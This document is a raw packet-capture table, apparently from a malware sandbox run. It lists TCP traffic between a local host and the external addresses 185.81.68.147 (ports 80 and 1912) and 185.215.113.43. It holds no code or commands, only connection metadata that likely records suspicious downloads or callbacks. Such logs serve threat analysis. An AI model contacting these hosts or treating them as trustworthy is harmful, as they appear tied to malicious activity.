Dec 14, 2024 14:56:21.504576921 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.504945040 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.505002975 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.506273031 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.506382942 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.506433964 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.507827044 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.507860899 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.508574963 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.509443998 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.509479046 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.511065006 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.511100054 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.511125088 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.511157990 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.512548923 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.512583971 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.512635946 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.514005899 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.514039993 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.514092922 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.515471935 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.515599966 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.515651941 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.517075062 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.517107964 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.517158985 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.518678904 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.518712044 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.520123959 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.520220995 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.520293951 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.520714045 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.521625996 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.521660089 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.521714926 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.523153067 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.523186922 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.523237944 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.524645090 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.524678946 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.524734020 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.526031017 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.526271105 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.527522087 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.527698994 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.528093100 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.528671026 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.529088020 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.529122114 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.529175043 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.530606031 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.530639887 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.530694008 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.531986952 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.532488108 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.532552958 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.533564091 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.533849001 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.535140038 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.535173893 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.535196066 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.536195993 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.536531925 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.536567926 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.536623955 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.536660910 CET	49859	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.593329906 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.656523943 CET	80	49859	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.713697910 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:21.716576099 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.716620922 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:21.837452888 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:22.671397924 CET	49870	1912	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:22.791228056 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:22.791361094 CET	49870	1912	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:22.799721956 CET	49870	1912	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:22.919548035 CET	1912	49870	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.066456079 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.066499949 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.066541910 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.066560030 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.066592932 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.066625118 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.066657066 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.066682100 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.066694021 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.066724062 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.066740036 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.066854954 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.066890955 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.066932917 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.190447092 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.190541983 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.190614939 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.194365025 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.242675066 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.258440018 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.258455992 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.258542061 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.262573004 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.262787104 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.262849092 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.271339893 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.274570942 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.274605036 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.274642944 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.283152103 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.283221960 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.283371925 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.291939020 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.291975021 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.292010069 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.300513029 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.300582886 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.300708055 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.309268951 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.309303999 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.309334993 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.317864895 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.317929029 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.318027973 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.326653004 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.326689005 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.326713085 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.335253954 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.335326910 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.335367918 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.348098993 CET	49839	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:23.348618984 CET	49871	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:23.362637997 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.362705946 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.362709045 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.428977966 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.429029942 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.429032087 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.451096058 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.451150894 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.451160908 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.453442097 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.453499079 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.454412937 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.454528093 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.454575062 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.459419966 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.459625959 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.459675074 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.464437008 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.464550972 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.464598894 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.468296051 CET	80	49839	185.215.113.43	192.168.2.5
Dec 14, 2024 14:56:23.468502045 CET	49839	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:23.468609095 CET	80	49871	185.215.113.43	192.168.2.5
Dec 14, 2024 14:56:23.468676090 CET	49871	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:23.468885899 CET	49871	80	192.168.2.5	185.215.113.43
Dec 14, 2024 14:56:23.469430923 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.469542980 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.469588041 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.474320889 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.474446058 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.474489927 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.479177952 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.479285955 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.479326963 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.483989000 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.484149933 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.484204054 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.488828897 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.488956928 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.489006042 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.493638992 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.493782043 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.493825912 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.498486042 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.498605967 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.498655081 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.503273010 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.503416061 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.503459930 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.508126020 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.508236885 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.508280039 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.512922049 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.513051987 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.513102055 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.517741919 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.517968893 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.518019915 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.522577047 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.522789001 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.522839069 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.527422905 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.527642965 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.527704000 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.532289028 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.532408953 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.532457113 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.548883915 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.548993111 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.549038887 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.551358938 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.551480055 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.551528931 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.570996046 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.571074009 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.571135998 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.573406935 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.573571920 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.573620081 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.578219891 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.588578939 CET	80	49871	185.215.113.43	192.168.2.5
Dec 14, 2024 14:56:23.620775938 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.620829105 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.620881081 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.622546911 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.622591019 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.642940044 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.643075943 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.643245935 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.644530058 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.644609928 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.644682884 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.647572041 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.648741007 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.648792028 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.648880005 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.651849031 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.651885986 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.651962996 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.655013084 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.655059099 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.655107975 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.658019066 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.658062935 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.658113956 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.661056995 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.661103010 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.661108971 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.664030075 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.664073944 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.664319992 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.667001009 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.667040110 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.667228937 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.669977903 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.670018911 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.670200109 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.672938108 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.672976971 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.673193932 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.675908089 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.675955057 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.676127911 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.678018093 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.678061008 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.678108931 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.680026054 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.680069923 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.680121899 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.682066917 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.682102919 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.682179928 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.684113979 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.684154034 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.684211016 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.686181068 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.686218977 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.686314106 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.688234091 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.688268900 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.688282967 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.690248966 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.690290928 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.690370083 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.692329884 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.692364931 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.692430973 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.694320917 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.694405079 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.694447041 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.696361065 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.696409941 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.696486950 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.698374033 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.698411942 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.698499918 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.700325966 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.700366974 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.700489044 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.702279091 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.702325106 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.702366114 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.704210997 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.704243898 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.704308033 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.706168890 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.706204891 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.706248045 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.708116055 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.708157063 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.708198071 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.710066080 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.710107088 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.710150003 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.712003946 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.712045908 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.712093115 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.714020967 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.714055061 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.714086056 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.715939999 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.715981007 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.716016054 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.812932968 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.812971115 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.812987089 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.813750982 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.813791037 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.813863993 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.815671921 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.815721035 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.835191965 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.835288048 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.835338116 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.835886002 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.836086035 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.836127996 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.837280035 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.837397099 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.837449074 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.838939905 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.838975906 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.839024067 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.840264082 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.840370893 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.840413094 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.841732025 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.841835022 CET	80	49865	185.81.68.147	192.168.2.5
Dec 14, 2024 14:56:23.841886997 CET	49865	80	192.168.2.5	185.81.68.147
Dec 14, 2024 14:56:23.843199015 CET	80	49865	185.81.68.147	192.168.2.5
